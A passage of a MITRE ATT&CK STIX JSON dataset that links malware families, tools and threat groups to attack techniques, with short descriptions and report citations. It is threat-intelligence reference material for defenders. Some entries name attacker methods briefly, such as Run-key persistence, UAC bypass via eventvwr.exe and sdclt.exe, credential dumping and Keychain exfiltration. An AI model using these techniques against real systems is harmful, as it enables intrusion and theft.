                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.373Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2e5039ef-913f-4808-9685-32f64f4dbf49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) deletes its payload along with the payload's parent process after it finishes copying files.(Citation: Microsoft SIR Vol 21)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-30T18:29:08.461Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c3ee174d-fd40-4636-97b2-afe80854f987",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating and manipulating files and directories.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:37:58.064Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--baeff271-0885-4c44-a9d6-c03411ca9bb0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has encrypted C2 traffic with RSA.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:15:45.619Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Janicab](https://attack.mitre.org/software/S0163) captured screenshots and sent them out to a C2 server.(Citation: f-secure janicab)(Citation: Janicab)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "f-secure janicab",
                    "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.",
                    "url": "https://www.f-secure.com/weblog/archives/00002576.html"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                }
            ],
            "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-19T17:57:25.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts collected data with an incremental XOR key prior to exfiltration.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:02:09.221Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) can dump credentials.(Citation: Amplia WCE)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Amplia WCE",
                    "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.",
                    "url": "http://www.ampliasecurity.com/research/wcefaq.html"
                }
            ],
            "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-20T00:23:15.092Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can obtain information about the local system.(Citation: Symantec Buckeye)(Citation: evolution of pirpi)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                },
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.623Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d38177b0-03c0-4c59-afa6-eea94a372daa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) adds itself to the startup folder or adds itself to the Registry key <code>SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code> for persistence.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-24T17:52:48.038Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[pngdowner](https://attack.mitre.org/software/S0067) deletes content from C2 communications that was saved to the user's temporary directory.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:11:01.356Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) samples have been signed with a code-signing certificates.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.030Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--676d7d2c-86b6-4a59-8158-d371e5ca4f23",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.196Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "source_name": "Unit 42 Kazuar May 2017"
                }
            ],
            "description": "(Citation: Unit 42 Kazuar May 2017)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.848Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--66f859b2-4bc2-4520-afd4-8f8a7b71a50c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can inject files into running processes.(Citation: Symantec Wiarp May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Wiarp May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"
                }
            ],
            "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-19T21:52:07.299Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "source_name": "FireEye POSHSPY April 2017"
                }
            ],
            "description": "(Citation: FireEye POSHSPY April 2017)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.642Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d6c628b9-789a-416b-8abe-cd457e566346",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.565Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Psylo](https://attack.mitre.org/software/S0078) has commands to enumerate all storage devices and to find all files that start with a particular string.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:15:30.782Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover local NetBIOS domain names.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0"
        },
        {
            "id": "relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "relationship_type": "uses",
            "target_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
            "external_references": [
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "description": "(Citation: ClearSky Wilted Tulip July 2017)",
            "type": "relationship",
            "modified": "2019-05-03T16:42:19.254Z",
            "created": "2018-01-16T18:59:16.545Z"
        },
        {
            "id": "relationship--90bd9900-a78f-47da-9504-393e8ece3fac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) will zip up the /Library/Keychains directory before exfiltrating it.(Citation: objsee mac malware 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:18:19.130Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "relationship_type": "uses",
            "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "description": "(Citation: Palo Alto Gamaredon Feb 2017)",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.008Z",
            "created": "2017-05-31T21:33:27.080Z"
        },
        {
            "id": "relationship--ac6ce385-79d5-40bd-ab16-bd873fb1a821",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T19:36:51.026Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list running processes.(Citation: Unit 42 Magic Hound Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.446Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "description": "(Citation: FireEye FIN7 April 2017)(Citation: FireEye FIN7 Aug 2018)",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.592Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) moved laterally via RDP.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.615Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Janicab](https://attack.mitre.org/software/S0163) captured audio and sent it out to a C2 server.(Citation: f-secure janicab)(Citation: Janicab)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "f-secure janicab",
                    "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.",
                    "url": "https://www.f-secure.com/weblog/archives/00002576.html"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                }
            ],
            "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-19T17:57:25.369Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6b794c49-0734-446c-9192-5b1e1cf06be0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) has 2 methods for elevating integrity. It can bypass UAC through eventvwr.exe and sdclt.exe.(Citation: Github Koadic)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.551Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.128Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--bd5699e8-8765-4f24-8307-c81a296b87e0",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
            "type": "relationship",
            "modified": "2020-03-30T03:10:12.855Z",
            "created": "2017-05-31T21:33:27.019Z"
        },
        {
            "id": "relationship--62f16083-efca-477c-8107-e208ca4c75cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.(Citation: aptsim)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "source_name": "aptsim"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "relationship",
